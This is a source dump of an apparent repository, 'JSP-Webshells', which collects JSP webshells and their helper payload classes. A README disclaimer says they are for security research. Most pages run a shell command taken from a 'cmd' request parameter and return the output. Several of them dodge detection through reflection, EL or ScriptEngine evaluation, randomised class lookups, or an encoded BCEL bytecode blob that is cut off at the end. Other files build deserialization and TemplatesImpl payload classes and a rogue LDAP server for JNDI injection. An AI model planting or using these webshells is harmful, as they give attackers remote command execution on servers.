new byte[inputStream.available()]; 29 | inputStream.read(bytes); 30 | String code = Base64.getEncoder().encodeToString(bytes); 31 | System.out.println(code); 32 | } 33 | } -------------------------------------------------------------------------------- /jsp/20/ByteCodeEvil.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.util.Base64; 6 | 7 | public class ByteCodeEvil { 8 | String res; 9 | 10 | public ByteCodeEvil(String cmd) throws IOException { 11 | StringBuilder stringBuilder = new StringBuilder(); 12 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); 13 | 14 | String line; 15 | while((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | 19 | this.res = stringBuilder.toString(); 20 | } 21 | 22 | public String toString() { 23 | return this.res; 24 | } 25 | 26 | public static void main(String[] args) throws IOException { 27 | InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class"); 28 | byte[] bytes = new byte[inputStream.available()]; 29 | inputStream.read(bytes); 30 | String code = Base64.getEncoder().encodeToString(bytes); 31 | System.out.println(code); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /jsp/6/EvilByteCode6.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.util.Base64; 6 | 7 | public class EvilByteCode6 { 8 | 9 | String res; 10 | 11 | public EvilByteCode6(String cmd) throws IOException { 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); 14 | String line; 15 | while((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | res = stringBuilder.toString(); 19 | } 20 | 21 | @Override 22 | public String toString() { 23 | return res; 24 | } 25 | 26 | public static void main(String[] args) throws IOException { 27 | InputStream inputStream = EvilByteCode6.class.getClassLoader().getResourceAsStream("EvilByteCode6.class"); 28 | byte[] bytes = new byte[inputStream.available()]; 29 | inputStream.read(bytes); 30 | String code = Base64.getEncoder().encodeToString(bytes); 31 | System.out.println(code); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /jsp/1/BcelEvil.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.bcel.internal.classfile.Utility; 2 | import java.io.BufferedReader; 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.io.InputStreamReader; 6 | 7 | public class BcelEvil { 8 | 9 | String res; 10 | 11 | public BcelEvil(String cmd) throws IOException { 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); 14 | String line; 15 | while((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | res = stringBuilder.toString(); 19 | } 20 | 21 | @Override 22 | public String toString() { 23 | return res; 24 | } 25 | 26 | public static void main(String[] args) throws IOException { 27 | InputStream inputStream = BcelEvil.class.getClassLoader().getResourceAsStream("BcelEvil.class"); 28 | byte[] bytes = new byte[inputStream.available()]; 29 | inputStream.read(bytes); 30 | String code = Utility.encode(bytes, true); 31 | System.out.println("$$BCEL$$" + code); 32 | } 33 | } -------------------------------------------------------------------------------- /jsp/14/14_2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.InputStream" %> 2 | <%@ page import="javax.el.ELContext" %> 3 | <%@ page import="javax.el.ELManager" %> 4 | <%@ page import="javax.el.ExpressionFactory" %> 5 | <%@ page import="javax.el.ValueExpression" %> 6 | <%@ page import="sun.misc.IOUtils" %> 7 | 8 | 9 |

Tomcat EL的JSP Webshell - 2

10 | <% 11 | String cmd = request.getParameter("cmd"); 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | for (String tmp:cmd.split(" ")) { 14 | stringBuilder.append("'").append(tmp).append("'").append(","); 15 | } 16 | String f = stringBuilder.substring(0, stringBuilder.length() - 1); 17 | String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")"; 18 | ELManager manager = new ELManager(); 19 | ELContext context = manager.getELContext(); 20 | ExpressionFactory factory = ELManager.getExpressionFactory(); 21 | ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class); 22 | InputStream inputStream = ((Process)ve.getValue(context)).getInputStream(); 23 | response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false)); 24 | %> 25 | 26 | -------------------------------------------------------------------------------- /jsp/14/14.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.el.ELProcessor" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.io.BufferedReader" %> 4 | <%@ page import="java.io.InputStreamReader" %> 5 | 6 | 7 |

Tomcat EL的JSP Webshell

8 | <% 9 | StringBuilder stringBuilder = new StringBuilder(); 10 | String cmd = request.getParameter("cmd"); 11 | for (String tmp:cmd.split(" ")) { 12 | stringBuilder.append("'").append(tmp).append("'").append(","); 13 | } 14 | String f = stringBuilder.substring(0, stringBuilder.length() - 1); 15 | ELProcessor processor = new ELProcessor(); 16 | Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")"); 17 | InputStream inputStream = process.getInputStream(); 18 | StringBuilder stringBuilder2 = new StringBuilder(); 19 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 20 | String line; 21 | while((line = bufferedReader.readLine()) != null) { 22 | stringBuilder2.append(line).append("\n"); 23 | } 24 | if (stringBuilder2.length() > 0) { 25 | response.getOutputStream().write(stringBuilder2.toString().getBytes()); 26 | } 27 | %> 28 | 29 | -------------------------------------------------------------------------------- /jsp/7/7.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.BufferedReader" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.io.InputStreamReader" %> 4 | <%@ page import="java.lang.reflect.Method" %> 5 | <%@ page import="java.util.Map" %> 6 | <%@ page import="sun.reflect.misc.MethodUtil" %> 7 | 8 | 9 |

java.lang.ProcessImpl JSP Webshell

10 | <% 11 | try { 12 | final String s = request.getParameter("cmd"); 13 | Class clz = Class.forName("java.lang.ProcessImpl"); 14 | Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); 15 | method.setAccessible(true); 16 | Process process = (Process) MethodUtil.invoke(method, clz, new Object[]{s.split(" "), null, null, null, false}); 17 | InputStream inputStream = process.getInputStream(); 18 | StringBuilder stringBuilder = new StringBuilder(); 19 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 20 | String line; 21 | while ((line = bufferedReader.readLine()) != null) { 22 | stringBuilder.append(line).append("\n"); 23 | } 24 | if (stringBuilder.length() > 0) { 25 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 26 | } 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | 31 | %> 32 | 33 | -------------------------------------------------------------------------------- /jsp/12/EvilReadObject.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.ByteArrayOutputStream; 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.InputStreamReader; 7 | import java.io.ObjectInputStream; 8 | import java.io.ObjectOutputStream; 9 | import java.io.Serializable; 10 | import java.nio.file.Files; 11 | import java.nio.file.Paths; 12 | import java.util.Base64; 13 | 14 | public class EvilReadObject implements Serializable { 15 | private static final long serialVersionUID = 1L; 16 | 17 | private void readObject(ObjectInputStream is) throws Throwable { 18 | StringBuilder stringBuilder = new StringBuilder(); 19 | try { 20 | String tmp = System.getProperty("java.io.tmpdir"); 21 | String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD"))); 22 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 23 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 24 | String line; 25 | while((line = bufferedReader.readLine()) != null) { 26 | stringBuilder.append(line).append("\n"); 27 | } 28 | } catch (Throwable e) { 29 | e.printStackTrace(); 30 | } 31 | throw new Throwable(stringBuilder.toString()); 32 | } 33 | 34 | public static void main(String[] args) throws IOException { 35 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 36 | new ObjectOutputStream(byteArrayOutputStream).writeObject(new EvilReadObject()); 37 | System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); 38 | } 39 | 40 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | threedr3am 7 | jsp-webshells 8 | 1.0 9 | 10 | 11 | 12 | org.apache.maven.plugins 13 | maven-compiler-plugin 14 | 15 | 8 16 | 8 17 | 18 | 19 | 20 | 21 | jar 22 | 23 | 24 | 25 | javax.servlet 26 | javax.servlet-api 27 | 3.1.0 28 | provided 29 | 30 | 31 | 32 | 33 | com.unboundid 34 | unboundid-ldapsdk 35 | 3.1.1 36 | 37 | 38 | 39 | org.apache.tomcat.embed 40 | tomcat-embed-el 41 | 8.5.43 42 | compile 43 | 44 | 45 | org.apache.tomcat.embed 46 | tomcat-embed-core 47 | 8.5.43 48 | compile 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /jsp/9/9.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.InputStream" %> 2 | <%@ page import="java.io.BufferedReader" %> 3 | <%@ page import="java.io.InputStreamReader" %> 4 | <%@ page import="java.lang.reflect.Method" %> 5 | <%@ page import="java.util.Map" %> 6 | <%@ page import="sun.reflect.ReflectionFactory" %> 7 | <%@ page import="java.security.AccessController" %> 8 | <%@ page import="sun.reflect.MethodAccessor" %> 9 | 10 | 11 |

MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell

12 | <%! 13 | public static class Threedr3am_9 { 14 | public static final Class clz = Class.forName("java.lang.ProcessImpl"); 15 | public static Object[] ooo; 16 | } 17 | %> 18 | <% 19 | String s = request.getParameter("cmd"); 20 | Threedr3am_9.ooo = new Object[]{s.split(" "), null, null, null, false}; 21 | Method method = Threedr3am_9.clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); 22 | method.setAccessible(true); 23 | ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction()); 24 | MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method); 25 | Process process = (Process) methodAccessor.invoke(null, null); 26 | InputStream inputStream = process.getInputStream(); 27 | StringBuilder stringBuilder = new StringBuilder(); 28 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 29 | String line; 30 | while ((line = bufferedReader.readLine()) != null) { 31 | stringBuilder.append(line).append("\n"); 32 | } 33 | if (stringBuilder.length() > 0) { 34 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 35 | } 36 | %> 37 | 38 | -------------------------------------------------------------------------------- /jsp/17/17_2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.BufferedReader" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.io.InputStreamReader" %> 4 | <%@ page import="java.lang.reflect.Field" %> 5 | <%@ page import="java.lang.reflect.Method" %> 6 | <%@ page import="sun.reflect.misc.MethodUtil" %> 7 | <%@ page import="java.util.Random" %> 8 | 9 | 10 |

利用随机数运行时可知字符串绕过检测的Runtime.exec的JSP Webshell

11 | <% 12 | String s2 = request.getParameter("cmd"); 13 | Class rt; 14 | while (true) { 15 | try { 16 | rt = Class.forName("java.lang." + (new String(Character.toChars(new Random().nextInt(3) + 80))) + "untime"); 17 | break; 18 | } catch (Throwable throwable) {} 19 | } 20 | Field currentRuntime = rt.getDeclaredFields()[0]; 21 | currentRuntime.setAccessible(true); 22 | Object o = currentRuntime.get(null); 23 | Process process; 24 | while (true) { 25 | try { 26 | Method method = rt.getDeclaredMethods()[new Random().nextInt(20)]; 27 | method.setAccessible(true); 28 | process = (Process) MethodUtil.invoke(method, o, new Object[]{s2.split(" ")}); 29 | if (process == null) 30 | continue; 31 | break; 32 | } catch (Throwable throwable) {} 33 | } 34 | 35 | 36 | InputStream inputStream = process.getInputStream(); 37 | StringBuilder stringBuilder = new StringBuilder(); 38 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 39 | String line; 40 | while((line = bufferedReader.readLine()) != null) { 41 | stringBuilder.append(line).append("\n"); 42 | } 43 | if (stringBuilder.length() > 0) { 44 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 45 | } 46 | %> 47 | 48 | -------------------------------------------------------------------------------- /jsp/11/EvilTranslet.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 2 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 5 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 6 | import java.io.BufferedReader; 7 | import java.io.File; 8 | import java.io.InputStream; 9 | import java.io.InputStreamReader; 10 | import java.nio.file.Files; 11 | import java.nio.file.Paths; 12 | 13 | public class EvilTranslet extends AbstractTranslet { 14 | 15 | public EvilTranslet() { 16 | try { 17 | String tmp = System.getProperty("java.io.tmpdir"); 18 | String inputFile = tmp + File.separator + "cmd"; 19 | String outputFile = tmp + File.separator + "result"; 20 | InputStream inputStream = Runtime 21 | .getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).replace("%", "").split(" ")).getInputStream(); 22 | StringBuilder stringBuilder = new StringBuilder(); 23 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 24 | String line; 25 | while((line = bufferedReader.readLine()) != null) { 26 | stringBuilder.append(line).append("\n"); 27 | } 28 | if (Files.exists(Paths.get(outputFile))) 29 | Files.delete(Paths.get(outputFile)); 30 | Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes()); 31 | } catch (Throwable e) { 32 | e.printStackTrace(); 33 | } 34 | } 35 | 36 | @Override 37 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 38 | 39 | } 40 | 41 | @Override 42 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) 43 | throws TransletException { 44 | 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | *工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责* 2 | 3 | ### JSP-Webshells集合 4 | 5 | 1. BCEL字节码的JSP Webshell 6 | 2. 自定义类加载器的JSP Webshell 7 | 3. ScriptEngine.eval的JSP Webshell 8 | 4. URLClassLoader加载远程jar的JSP Webshell 9 | 5. javac动态编译class的JSP Webshell 10 | 6. jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell 11 | 7. java.lang.ProcessImpl JSP Webshell 12 | 8. java.lang.ProcessBuilder Webshell 13 | 9. MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell 14 | 10. SPI机制的ScriptEngineManager自动加载实例化JSP Webshell 15 | 11. 利用TemplatesImpl触发的JSP Webshell 16 | 12. 重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell 17 | 13. JdbcRowSetImpl进行jndi注入的JSP Webshell 18 | 14. Tomcat EL的JSP Webshell 19 | 15. BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell 20 | 16. VersionHelper包装的URLClassLoader类加载器的JSP Webshell 21 | 17. Runtime.exec的JSP Webshell 22 | 18. 利用TemplatesImpl反序列化的JSP Webshell 23 | 19. 精简一句话ScriptEngine.eval的JSP Webshell 24 | 20. 反射调用 Proxy native 方法 defineClass0 加载类字节码 Webshell 25 | 26 | ### 分类 27 | 28 | #### 一、命令执行/反射调用 29 | 1. java.lang.ProcessImpl JSP Webshell: 7.jsp 30 | 2. java.lang.ProcessBuilder Webshell: 8.jsp 31 | 3. Runtime.exec的JSP Webshell: 17.jsp 32 | 4. MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell: 9.jsp 33 | 5. 利用随机数运行时可知字符串绕过检测的Runtime.exec的JSP Webshell: 17_2.jsp 34 | 35 | #### 二、脚本执行 36 | 1. ScriptEngine.eval的JSP Webshell: 3.jsp 37 | 2. Tomcat EL的JSP Webshell: 14.jsp 38 | 3. 精简一句话ScriptEngine.eval的JSP Webshell: 19.jsp/19_2.jsp 39 | 40 | #### 三、字节码、反序列化相关 41 | 1. BCEL字节码的JSP Webshell: 1.jsp 42 | 2. 自定义类加载器的JSP Webshell: 2.jsp 43 | 3. URLClassLoader加载远程jar的JSP Webshell: 4.jsp 44 | 4. jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell: 6.jsp 45 | 5. SPI机制的ScriptEngineManager自动加载实例化JSP Webshell: 10.jsp 46 | 6. 利用TemplatesImpl触发的JSP Webshell: 11.jsp 47 | 7. 重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell: 12.jsp 48 | 8. JdbcRowSetImpl进行jndi注入的JSP Webshell: 13.jsp 49 | 9. BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell: 15.jsp 50 | 10. VersionHelper包装的URLClassLoader类加载器的JSP Webshell: 16.jsp 51 | 11. 利用TemplatesImpl反序列化的JSP Webshell: 18.jsp 52 | 12. 利用 Proxy native 方法 defineClass0 加载类字节码 Webshell: 20.jsp 53 | 54 | #### 四、动态编译 55 | 1. javac动态编译class的JSP Webshell: 5.jsp -------------------------------------------------------------------------------- /.idea/JSP-Webshells.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /jsp/13/OperationInterceptor.java: -------------------------------------------------------------------------------- 1 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 2 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 3 | import com.unboundid.ldap.sdk.Entry; 4 | import com.unboundid.ldap.sdk.LDAPException; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import java.net.MalformedURLException; 8 | import java.net.URL; 9 | 10 | public class OperationInterceptor extends InMemoryOperationInterceptor { 11 | 12 | private URL codebase; 13 | 14 | 15 | /** 16 | * 17 | */ 18 | public OperationInterceptor(URL cb) { 19 | this.codebase = cb; 20 | } 21 | 22 | 23 | /** 24 | * {@inheritDoc} 25 | * 26 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 27 | */ 28 | @Override 29 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 30 | String base = result.getRequest().getBaseDN(); 31 | Entry e = new Entry(base); 32 | try { 33 | sendResult(result, base, e); 34 | } catch (Exception e1) { 35 | e1.printStackTrace(); 36 | } 37 | 38 | } 39 | 40 | 41 | protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 42 | throws LDAPException, MalformedURLException { 43 | URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat("")); 44 | System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); 45 | e.addAttribute("javaClassName", "Calc"); 46 | String cbstring = this.codebase.toString(); 47 | int refPos = cbstring.indexOf('#'); 48 | if (refPos > 0) { 49 | cbstring = cbstring.substring(0, refPos); 50 | } 51 | //todo <= jdk8u191 52 | e.addAttribute("javaCodeBase", cbstring); 53 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 54 | e.addAttribute("javaFactory", this.codebase.getRef()); 55 | result.sendSearchEntry(e); 56 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 57 | } 58 | 59 | } -------------------------------------------------------------------------------- /jsp/13/LdapServer.java: -------------------------------------------------------------------------------- 1 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 2 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 3 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 4 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 5 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 6 | import com.unboundid.ldap.sdk.Entry; 7 | import com.unboundid.ldap.sdk.LDAPException; 8 | import com.unboundid.ldap.sdk.LDAPResult; 9 | import com.unboundid.ldap.sdk.ResultCode; 10 | import com.unboundid.util.Base64; 11 | import java.net.InetAddress; 12 | import java.net.MalformedURLException; 13 | import java.net.URL; 14 | import java.text.ParseException; 15 | import javax.net.ServerSocketFactory; 16 | import javax.net.SocketFactory; 17 | import javax.net.ssl.SSLSocketFactory; 18 | 19 | /** 20 | * LDAP server 21 | */ 22 | public class LdapServer { 23 | 24 | private static final String LDAP_BASE = "dc=example,dc=com"; 25 | public static byte[] classData; 26 | 27 | public static void main(String[] args) { 28 | run(args); 29 | } 30 | 31 | public static void run(String[] args) { 32 | int port = args.length > 0 ? Integer.parseInt(args[0]) : 43658; 33 | //TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可 34 | String url = args.length > 0 ? args[1] : "http://localhost/#Calc"; 35 | try { 36 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 37 | config.setListenerConfigs(new InMemoryListenerConfig( 38 | "listen", //$NON-NLS-1$ 39 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 40 | port, 41 | ServerSocketFactory.getDefault(), 42 | SocketFactory.getDefault(), 43 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 44 | 45 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); 46 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 47 | System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ 48 | ds.startListening(); 49 | 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | } 53 | } 54 | 55 | } -------------------------------------------------------------------------------- /jsp/10/EvilScript.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.File; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.nio.file.Files; 6 | import java.nio.file.Paths; 7 | import java.util.List; 8 | import javax.script.ScriptEngine; 9 | import javax.script.ScriptEngineFactory; 10 | 11 | public class EvilScript implements ScriptEngineFactory { 12 | 13 | public EvilScript() throws Throwable { 14 | StringBuilder stringBuilder = new StringBuilder(); 15 | try { 16 | String tmp = System.getProperty("java.io.tmpdir"); 17 | String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; 18 | String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt"; 19 | InputStream inputStream = Runtime.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).split(" ")).getInputStream(); 20 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 21 | String line; 22 | while((line = bufferedReader.readLine()) != null) { 23 | stringBuilder.append(line).append("\n"); 24 | } 25 | if (Files.exists(Paths.get(outputFile))) 26 | Files.delete(Paths.get(outputFile)); 27 | 28 | Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes()); 29 | } catch (Throwable e) { 30 | e.printStackTrace(); 31 | } 32 | throw new Throwable(stringBuilder.toString()); 33 | } 34 | 35 | @Override 36 | public String getEngineName() { 37 | return null; 38 | } 39 | 40 | @Override 41 | public String getEngineVersion() { 42 | return null; 43 | } 44 | 45 | @Override 46 | public List getExtensions() { 47 | return null; 48 | } 49 | 50 | @Override 51 | public List getMimeTypes() { 52 | return null; 53 | } 54 | 55 | @Override 56 | public List getNames() { 57 | return null; 58 | } 59 | 60 | @Override 61 | public String getLanguageName() { 62 | return null; 63 | } 64 | 65 | @Override 66 | public String getLanguageVersion() { 67 | return null; 68 | } 69 | 70 | @Override 71 | public Object getParameter(String key) { 72 | return null; 73 | } 74 | 75 | @Override 76 | public String getMethodCallSyntax(String obj, String m, String... args) { 77 | return null; 78 | } 79 | 80 | @Override 81 | public String getOutputStatement(String toDisplay) { 82 | return null; 83 | } 84 | 85 | @Override 86 | public String getProgram(String... statements) { 87 | return null; 88 | } 89 | 90 | @Override 91 | public ScriptEngine getScriptEngine() { 92 | return null; 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /jsp/1/1.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %> 2 | 3 | 4 |

BCEL字节码的JSP Webshell

5 | <% 6 | String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT